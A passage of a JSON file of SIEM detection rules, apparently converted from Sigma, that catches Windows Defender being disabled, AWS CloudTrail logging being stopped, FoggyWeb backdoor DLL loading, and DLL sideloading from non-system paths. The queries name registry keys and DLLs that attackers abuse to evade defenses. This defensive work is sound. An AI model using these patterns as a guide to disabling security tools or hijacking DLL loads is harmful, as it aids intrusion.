\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\Real\\-Time\\ Protection\\\\DisableScanOnRealtimeEnable\" OR \"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\SpyNet\\\\DisableBlockAtFirstSeen\") AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\") OR (winlog.event_data.TargetObject:(\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\SpyNet\\\\SpynetReporting\" OR \"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\SpyNet\\\\SubmitSamplesConsent\") AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["AlertIQ"], "license": ""}
{"description": "Detects disabling Windows Defender Tamper Protection", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a773c40d-7bc2-8566-2a25-f5e737fb8253", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Disable Tamper Protection on Windows Defender", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Microsoft\\\\Windows\\ Defender\\\\Features\\\\TamperProtection* AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\") AND (NOT ((process.executable:C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\Platform\\\\* AND process.executable:*\\\\MsMpEng.exe) OR (process.executable:\"C\\:\\\\Program\\ Files\\\\Windows\\ Defender\\\\MsMpEng.exe\"))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects disabling Windows Defender threat protection", "enabled": false, "false_positives": ["Administrator actions"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "33a3d0ea-448a-51b3-5839-b208ddf4d798", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Windows Defender Threat Detection Disabled", "query": "(winlog.channel:\"Microsoft\\-Windows\\-Windows\\ Defender\\/Operational\" AND winlog.event_id:(\"5001\" OR \"5010\" OR \"5012\" OR \"5101\"))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["J\u00e1n Tren\u010dansk\u00fd", "frack113"], "license": ""}
{"description": "Detects disabling Windows Defender threat protection", "enabled": false, "false_positives": ["Administrator actions"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "afb6a8d3-b71b-3261-71bd-2690dca6b220", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows Defender Threat Detection Disabled - Registry", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\" AND (winlog.event_data.TargetObject:(\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\DisableAntiSpyware\" OR \"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\DisableAntiVirus\") OR winlog.event_data.TargetObject:(\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WinDefend\" OR \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ Defender\" OR \"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["J\u00e1n Tren\u010dansk\u00fd", "frack113", "AlertIQ"], "license": ""}
{"description": "Detects disabling, deleting and updating of a Trail", "enabled": false, "false_positives": ["Valid change in a Trail"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "029fc1a6-04c5-27e4-8f5c-8cedb77612bd", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "AWS CloudTrail Important Change", "query": "(eventSource:\"cloudtrail.amazonaws.com\" AND eventName:(\"StopLogging\" OR \"UpdateTrail\" OR \"DeleteTrail\"))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["vitaliy0x1"], "license": ""}
{"description": "Detects DLL image load activity as used by FoggyWeb backdoor loader", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a5abd162-9e23-ccd1-1e75-f92988824901", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "FoggyWeb Backdoor DLL Loading", "query": "process.executable.text:\"C\\:\\\\Windows\\\\ADFS\\\\version.dll\"", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Resource Development", "T1587"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0042", "reference": "", "name": "Resource Development"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1587", "name": "Develop Capabilities", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects DLL sideloading of \"dbgcore.dll\"", "enabled": false, "false_positives": ["Legitimate applications loading their own versions of the DLL mentioned in this rule"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f422c25c-efa7-3853-bba8-d67e33cf623c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "DLL Sideloading Of DBGCORE.DLL", "query": "(dll.path:*\\\\dbgcore.dll AND (NOT ((dll.path:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\* OR C\\:\\\\Windows\\\\WinSxS\\\\* OR C\\:\\\\Windows\\\\SoftwareDistribution\\\\* OR C\\:\\\\Windows\\\\SystemTemp\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR C\\:\\\\Program\\ Files\\\\*)) OR (dll.path:*\\\\Steam\\\\bin\\\\cef\\\\cef.win7x64\\\\dbgcore.dll))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "Privilege Escalation", "T1574", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali", "Wietze Beukema (project and research)"], "license": ""}
{"description": "Detects DLL sideloading of \"dbghelp.dll\"", "enabled": false, "false_positives": ["Legitimate applications loading their own versions of the DLL mentioned in this rule"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2930b371-4db5-0f1a-c8e3-a6ffc109e3f5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "DLL Sideloading Of DBGHELP.DLL", "query": "(dll.path:*\\\\dbghelp.dll AND (NOT ((dll.path:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\* OR C\\:\\\\Windows\\\\WinSxS\\\\* OR C\\:\\\\Windows\\\\SoftwareDistribution\\\\* OR C\\:\\\\Windows\\\\SystemTemp\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR C\\:\\\\Program\\ Files\\\\*) OR dll.path:(*\\\\Epic\\ Games\\\\Launcher\\\\Engine\\\\Binaries\\\\ThirdParty\\\\DbgHelp\\\\dbghelp.dll OR *\\\\Epic\\ Games\\\\MagicLegends\\\\x86\\\\dbghelp.dll OR *\\\\Anaconda3\\\\Lib\\\\site\\-packages\\\\vtrace\\\\platforms\\\\windll\\\\amd64\\\\dbghelp.dll OR *\\\\Anaconda3\\\\Lib\\\\site\\-packages\\\\vtrace\\\\platforms\\\\windll\\\\i386\\\\dbghelp.dll)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "Privilege Escalation", "T1574", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali", "Wietze Beukema (project and research)"], "license": ""}
{"description": "Detects DLL sideloading of DLLs that are part of antivirus software suchas McAfee, Symantec...etc", "enabled": false, "false_positives": ["Applications that load the same dlls mentioned in the detection section. Investigate them and filter them out if a lot FPs are caused.", "Dell SARemediation plugin folder (C:\\Program Files\\Dell\\SARemediation\\plugin\\log.dll) is known to contain the 'log.dll' file.", "The Canon MyPrinter folder 'C:\\Program Files\\Canon\\MyPrinter\\' is known to contain the 'log.dll' file"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1b06e7ad-cd3f-3205-5a8b-91f82ad88662", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Antivirus Software DLL Sideloading", "query": "((((dll.path:*\\\\log.dll AND (NOT ((dll.path:(C\\:\\\\Program\\ Files\\\\Bitdefender\\ Antivirus\\ Free\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\Bitdefender\\ Antivirus\\ Free\\\\*)) OR (process.executable.text:\"C\\:\\\\Program\\ Files\\\\Dell\\\\SARemediation\\\\audit\\\\TelemetryUtility.exe\" AND dll.path:(\"C\\:\\\\Program\\ Files\\\\Dell\\\\SARemediation\\\\plugin\\\\log.dll\" OR \"C\\:\\\\Program\\ Files\\\\Dell\\\\SARemediation\\\\audit\\\\log.dll\")) OR (dll.path:C\\:\\\\Program\\ Files\\\\Canon\\\\MyPrinter\\\\*)))) OR (dll.path:*\\\\qrt.dll AND (NOT (dll.path:(C\\:\\\\Program\\ Files\\\\F\\-Secure\\\\Anti\\-Virus\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\F\\-Secure\\\\Anti\\-Virus\\\\*))))) OR (dll.path:(*\\\\ashldres.dll OR *\\\\lockdown.dll OR *\\\\vsodscpl.dll) AND (NOT (dll.path:(C\\:\\\\Program\\ Files\\\\McAfee\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\McAfee\\\\*))))) OR (dll.path:*\\\\vftrace.dll AND (NOT (dll.path:(C\\:\\\\Program\\ Files\\\\CyberArk\\\\Endpoint\\ Privilege\\ Manager\\\\Agent\\\\x32\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\CyberArk\\\\Endpoint\\ Privilege\\ Manager\\\\Agent\\\\x32\\\\*)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "Privilege Escalation", "T1574", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali", "Wietze Beukema (project and research)"], "license": ""}
{"description": "Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64...)", "author": ["Nasreddine Bencherchali", "Wietze Beukema (project and research)", "Chris Spehn (research WFH Dridex)", "XForceIR (SideLoadHunter Project)"], "enabled": false, "false_positives": ["Legitimate applications loading their own versions of the DLLs mentioned in this rule"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "732b195b-03a1-ec93-1227-09d1b85f3141", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential System DLL Sideloading From Non System Locations", "query": "(dll.path:(*\\\\shfolder.dll OR *\\\\activeds.dll OR *\\\\adsldpc.dll OR *\\\\aepic.dll OR *\\\\apphelp.dll OR *\\\\applicationframe.dll OR *\\\\appxalluserstore.dll OR *\\\\appxdeploymentclient.dll OR *\\\\archiveint.dll OR *\\\\atl.dll OR *\\\\audioses.dll OR *\\\\auditpolcore.dll OR *\\\\authfwcfg.dll OR *\\\\authz.dll OR *\\\\avrt.dll OR *\\\\bcd.dll OR *\\\\bcp47langs.dll OR *\\\\bcp47mrm.dll OR *\\\\bcrypt.dll OR *\\\\cabinet.dll OR *\\\\cabview.dll OR *\\\\certenroll.dll OR *\\\\cldapi.dll OR *\\\\clipc.dll OR *\\\\clusapi.dll OR *\\\\cmpbk32.dll OR *\\\\coloradapterclient.dll OR *\\\\colorui.dll OR *\\\\comdlg32.dll OR *\\\\connect.dll OR *\\\\coremessaging.dll OR *\\\\credui.dll OR *\\\\cryptbase.dll OR *\\\\cryptdll.dll OR *\\\\cryptui.dll OR *\\\\cryptxml.dll OR *\\\\cscapi.dll OR *\\\\cscobj.dll OR *\\\\cscui.dll OR *\\\\d2d1.dll OR *\\\\d3d10.dll OR *\\\\d3d10_1.dll OR *\\\\d3d10_1core.dll OR *\\\\d3d10core.dll OR *\\\\d3d10warp.dll OR *\\\\d3d11.dll OR *\\\\d3d12.dll OR *\\\\d3d9.dll OR *\\\\dataexchange.dll OR *\\\\davclnt.dll OR *\\\\dcomp.dll OR *\\\\defragproxy.dll OR *\\\\desktopshellext.dll OR *\\\\deviceassociation.dll OR *\\\\devicecredential.dll OR *\\\\devicepairing.dll OR *\\\\devobj.dll OR *\\\\devrtl.dll OR *\\\\dhcpcmonitor.dll OR *\\\\dhcpcsvc.dll OR *\\\\dhcpcsvc6.dll OR *\\\\directmanipulation.dll OR *\\\\dismapi.dll OR *\\\\dismcore.dll OR *\\\\dmcfgutils.dll OR *\\\\dmcmnutils.dll OR *\\\\dmenrollengine.dll OR *\\\\dmenterprisediagnostics.dll OR *\\\\dmiso8601utils.dll OR *\\\\dmoleaututils.dll OR *\\\\dmprocessxmlfiltered.dll OR *\\\\dmpushproxy.dll OR *\\\\dmxmlhelputils.dll OR *\\\\dnsapi.dll OR *\\\\dot3api.dll OR *\\\\dot3cfg.dll OR *\\\\drprov.dll OR *\\\\dsclient.dll OR *\\\\dsparse.dll OR *\\\\dsreg.dll OR *\\\\dsrole.dll OR *\\\\dui70.dll OR *\\\\duser.dll OR *\\\\dusmapi.dll OR *\\\\dwmapi.dll OR *\\\\dwrite.dll OR *\\\\dxgi.dll OR *\\\\dxva2.dll OR *\\\\eappcfg.dll OR *\\\\eappprxy.dll OR *\\\\edputil.dll OR *\\\\efsadu.dll OR *\\\\efsutil.dll OR *\\\\esent.dll OR *\\\\execmodelproxy.dll OR *\\\\explorerframe.dll OR *\\\\fastprox.dll OR *\\\\faultrep.dll OR *\\\\fddevquery.dll OR *\\\\feclient.dll OR *\\\\fhcfg.dll OR *\\\\firewallapi.dll OR *\\\\flightsettings.dll OR *\\\\fltlib.dll OR *\\\\fveapi.dll OR *\\\\fwbase.dll OR *\\\\fwcfg.dll OR *\\\\fwpolicyiomgr.dll OR *\\\\fwpuclnt.dll OR *\\\\getuname.dll OR *\\\\hid.dll OR *\\\\hnetmon.dll OR *\\\\httpapi.dll OR *\\\\idstore.dll OR *\\\\ieadvpack.dll OR *\\\\iedkcs32.dll OR *\\\\iertutil.dll OR *\\\\ifmon.dll OR *\\\\iphlpapi.dll OR *\\\\iri.dll OR *\\\\iscsidsc.dll OR *\\\\iscsium.dll OR *\\\\isv.exe_rsaenh.dll OR *\\\\joinutil.dll OR *\\\\ksuser.dll OR *\\\\ktmw32.dll OR *\\\\licensemanagerapi.dll OR *\\\\licensingdiagspp.dll OR *\\\\linkinfo.dll OR *\\\\loadperf.dll OR *\\\\logoncli.dll OR *\\\\logoncontroller.dll OR *\\\\lpksetupproxyserv.dll OR *\\\\magnification.dll OR *\\\\mapistub.dll OR *\\\\mfcore.dll OR *\\\\mfplat.dll OR *\\\\mi.dll OR *\\\\midimap.dll OR *\\\\miutils.dll OR *\\\\mlang.dll OR *\\\\mmdevapi.dll OR *\\\\mobilenetworking.dll OR *\\\\mpr.dll OR *\\\\mprapi.dll OR *\\\\mrmcorer.dll OR *\\\\msacm32.dll OR *\\\\mscms.dll OR *\\\\mscoree.dll OR *\\\\msctf.dll OR *\\\\msctfmonitor.dll OR *\\\\msdrm.dll OR *\\\\msftedit.dll OR *\\\\msi.dll OR *\\\\msutb.dll OR *\\\\mswb7.dll OR *\\\\mswsock.dll OR *\\\\msxml3.dll OR *\\\\mtxclu.dll OR *\\\\napinsp.dll OR *\\\\ncrypt.dll OR *\\\\ndfapi.dll OR *\\\\netid.dll OR *\\\\netiohlp.dll OR *\\\\netplwiz.dll OR *\\\\netprofm.dll OR *\\\\netsetupapi.dll OR *\\\\netshell.dll OR *\\\\netutils.dll OR *\\\\networkexplorer.dll OR *\\\\newdev.dll OR *\\\\ninput.dll OR *\\\\nlaapi.dll OR *\\\\nlansp_c.dll OR *\\\\npmproxy.dll OR *\\\\nshhttp.dll OR *\\\\nshipsec.dll OR *\\\\nshwfp.dll OR *\\\\ntdsapi.dll OR *\\\\ntlanman.dll OR *\\\\ntlmshared.dll OR *\\\\ntmarta.dll OR *\\\\ntshrui.dll OR *\\\\oleacc.dll OR *\\\\omadmapi.dll OR *\\\\onex.dll OR *\\\\osbaseln.dll OR *\\\\osuninst.dll OR *\\\\p2p.dll OR *\\\\p2pnetsh.dll OR *\\\\p9np.dll OR *\\\\pcaui.dll OR *\\\\pdh.dll OR *\\\\peerdistsh.dll OR *\\\\pla.dll OR *\\\\pnrpnsp.dll OR *\\\\policymanager.dll OR *\\\\polstore.dll OR *\\\\printui.dll OR *\\\\propsys.dll OR *\\\\prvdmofcomp.dll OR *\\\\puiapi.dll OR *\\\\radcui.dll OR *\\\\rasapi32.dll OR *\\\\rasgcw.dll OR *\\\\rasman.dll OR *\\\\rasmontr.dll OR *\\\\reagent.dll OR *\\\\regapi.dll OR *\\\\resutils.dll OR *\\\\rmclient.dll OR *\\\\rpcnsh.dll OR *\\\\rsaenh.dll OR *\\\\rtutils.dll OR *\\\\rtworkq.dll OR *\\\\samcli.dll OR *\\\\samlib.dll OR *\\\\sapi_onecore.dll OR *\\\\sas.dll OR *\\\\scansetting.dll OR *\\\\scecli.dll OR *\\\\schedcli.dll OR *\\\\secur32.dll OR *\\\\shell32.dll OR *\\\\slc.dll OR *\\\\snmpapi.dll OR *\\\\spp.dll OR *\\\\sppc.dll OR *\\\\srclient.dll OR *\\\\srpapi.dll OR *\\\\srvcli.dll OR *\\\\ssp.exe_rsaenh.dll OR *\\\\ssp_isv.exe_rsaenh.dll OR *\\\\sspicli.dll OR *\\\\ssshim.dll OR *\\\\staterepository.core.dll OR *\\\\structuredquery.dll OR *\\\\sxshared.dll OR *\\\\tapi32.dll OR *\\\\tbs.dll OR *\\\\tdh.dll OR *\\\\tquery.dll OR *\\\\tsworkspace.dll OR *\\\\ttdrecord.dll OR *\\\\twext.dll OR *\\\\twinapi.dll OR *\\\\twinui.appcore.dll OR *\\\\uianimation.dll OR *\\\\uiautomationcore.dll OR *\\\\uireng.dll OR *\\\\uiribbon.dll OR *\\\\updatepolicy.dll OR *\\\\userenv.dll OR *\\\\utildll.dll OR *\\\\uxinit.dll OR *\\\\uxtheme.dll OR *\\\\vaultcli.dll OR *\\\\virtdisk.dll OR *\\\\vssapi.dll OR *\\\\vsstrace.dll OR *\\\\wbemprox.dll OR *\\\\wbemsvc.dll OR *\\\\wcmapi.dll OR *\\\\wcnnetsh.dll OR *\\\\wdi.dll OR *\\\\wdscore.dll OR *\\\\webservices.dll OR *\\\\wecapi.dll OR *\\\\wer.dll OR *\\\\wevtapi.dll OR *\\\\whhelper.dll OR *\\\\wimgapi.dll OR *\\\\winbrand.dll OR *\\\\windows.storage.dll OR *\\\\windows.storage.search.dll OR *\\\\windowscodecs.dll OR *\\\\windowscodecsext.dll OR *\\\\windowsudk.shellcommon.dll OR *\\\\winhttp.dll OR *\\\\wininet.dll OR *\\\\winipsec.dll OR *\\\\winmde.dll OR *\\\\winmm.dll OR *\\\\winnsi.dll OR *\\\\winrnr.dll OR *\\\\winsqlite3.dll OR *\\\\winsta.dll OR *\\\\wkscli.dll OR *\\\\wlanapi.dll OR *\\\\wlancfg.dll OR *\\\\wldp.dll OR *\\\\wlidprov.dll OR *\\\\wmiclnt.dll OR *\\\\wmidcom.dll OR *\\\\wmiutils.dll OR *\\\\wmsgapi.dll OR *\\\\wofutil.dll OR *\\\\wpdshext.dll OR *\\\\wshbth.dll OR *\\\\wshelper.dll OR *\\\\wtsapi32.dll OR *\\\\wwapi.dll OR *\\\\xmllite.dll OR *\\\\xolehlp.dll OR *\\\\xwizards.dll OR *\\\\xwtpw32.dll OR *\\\\aclui.dll OR *\\\\bderepair.dll OR *\\\\bootmenuux.dll OR *\\\\dcntel.dll OR *\\\\dwmcore.dll OR *\\\\dynamoapi.dll OR *\\\\fhsvcctl.dll OR *\\\\fxsst.dll OR *\\\\inproclogger.dll OR *\\\\iumbase.dll OR *\\\\kdstub.dll OR *\\\\maintenanceui.dll OR *\\\\mdmdiagnostics.dll OR *\\\\mintdh.dll OR *\\\\msdtctm.dll OR *\\\\nettrace.dll OR *\\\\osksupport.dll OR *\\\\reseteng.dll OR *\\\\resetengine.dll OR *\\\\spectrumsyncclient.dll OR *\\\\srcore.dll OR *\\\\systemsettingsthresholdadminflowui.dll OR *\\\\timesync.dll OR *\\\\upshared.dll OR *\\\\wmpdui.dll OR *\\\\wwancfg.dll OR *\\\\dpx.dll OR *\\\\fxsapi.dll OR *\\\\fxstiff.dll OR *\\\\xpsservices.dll OR *\\\\appvpolicy.dll OR *\\\\batmeter.dll OR *\\\\bootux.dll OR *\\\\cmutil.dll OR *\\\\configmanager2.dll OR *\\\\coredplus.dll OR *\\\\coreuicomponents.dll OR *\\\\cryptsp.dll OR *\\\\dmcommandlineutils.dll OR *\\\\drvstore.dll OR *\\\\dsprop.dll OR *\\\\dxcore.dll OR *\\\\edgeiso.dll OR *\\\\framedynos.dll OR *\\\\fveskybackup.dll OR *\\\\fvewiz.dll OR *\\\\gpapi.dll OR *\\\\icmp.dll OR *\\\\ifsutil.dll OR *\\\\iumsdk.dll OR *\\\\lockhostingframework.dll OR *\\\\lrwizdll.dll OR *\\\\mbaexmlparser.dll OR *\\\\mfc42u.dll OR *\\\\msiso.dll OR *\\\\msvcp110_win.dll OR *\\\\netapi32.dll OR *\\\\netjoin.dll OR *\\\\netprovfw.dll OR *\\\\opcservices.dll OR *\\\\pkeyhelper.dll OR *\\\\playsndsrv.dll OR *\\\\powrprof.dll OR *\\\\prntvpt.dll OR *\\\\profapi.dll OR *\\\\proximitycommon.dll OR *\\\\proximityservicepal.dll OR *\\\\rasdlg.dll OR *\\\\security.dll OR *\\\\sppcext.dll OR *\\\\srmtrace.dll OR *\\\\tpmcoreprovisioning.dll OR *\\\\umpdc.dll OR *\\\\unattend.dll OR *\\\\urlmon.dll OR *\\\\vdsutil.dll OR *\\\\version.dll OR *\\\\winbio.dll OR *\\\\windows.ui.immersive.dll OR *\\\\winscard.dll OR *\\\\winsync.dll OR *\\\\wscapi.dll OR *\\\\wsmsvc.dll OR *\\\\FxsCompose.dll OR *\\\\WfsR.dll OR *\\\\rpchttp.dll OR *\\\\storageusage.dll OR *\\\\amsi.dll OR *\\\\PrintIsolationProxy.dll OR *\\\\msdtcVSp1res.dll OR *\\\\rdpendp.dll OR *\\\\dxilconv.dll OR *\\\\utcutil.dll OR *\\\\appraiser.dll OR *\\\\dsound.dll OR *\\\\DispBroker.dll OR *\\\\FXSRESM.DLL OR *\\\\cryptnet.dll OR *\\\\COMRES.DLL OR *\\\\igdumdim64.dll OR *\\\\igd10iumd64.dll OR *\\\\igd12umd64.dll OR *\\\\igdusc64.dll OR *\\\\WLBSCTRL.dll OR *\\\\TSMSISrv.dll OR *\\\\TSVIPSrv.dll OR *\\\\wow64log.dll OR *\\\\WptsExtensions.dll OR *\\\\wbemcomn.dll) AND (NOT ((dll.path:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\* OR C\\:\\\\Windows\\\\WinSxS\\\\* OR C\\:\\\\Windows\\\\SoftwareDistribution\\\\* OR C\\:\\\\Windows\\\\SystemTemp\\\\*)) OR ((dll.path:\"C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll\" AND process.executable.text:\"C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe\")) OR (dll.path:C\\:\\\\Packages\\\\Plugins\\\\Microsoft.GuestConfiguration.ConfigurationforWindows\\\\*) OR ((process.executable.text:(C\\:\\\\Program\\ Files\\\\WindowsApps\\\\DellInc.DellSupportAssistforPCs* OR C\\:\\\\Windows\\\\System32\\\\backgroundTaskHost.exe*) AND dll.path:C\\:\\\\Program\\ Files\\\\WindowsApps\\\\DellInc.DellSupportAssistforPCs*)) OR ((process.executable.text:\"C:\\Windows\\System32\\cleanmgr.exe\" AND dll.path:*\\\\ssshim.dll)) OR (process.executable.text:C\\:\\\\$WINDOWS.\\~BT\\\\*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "Privilege Escalation", "T1574", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
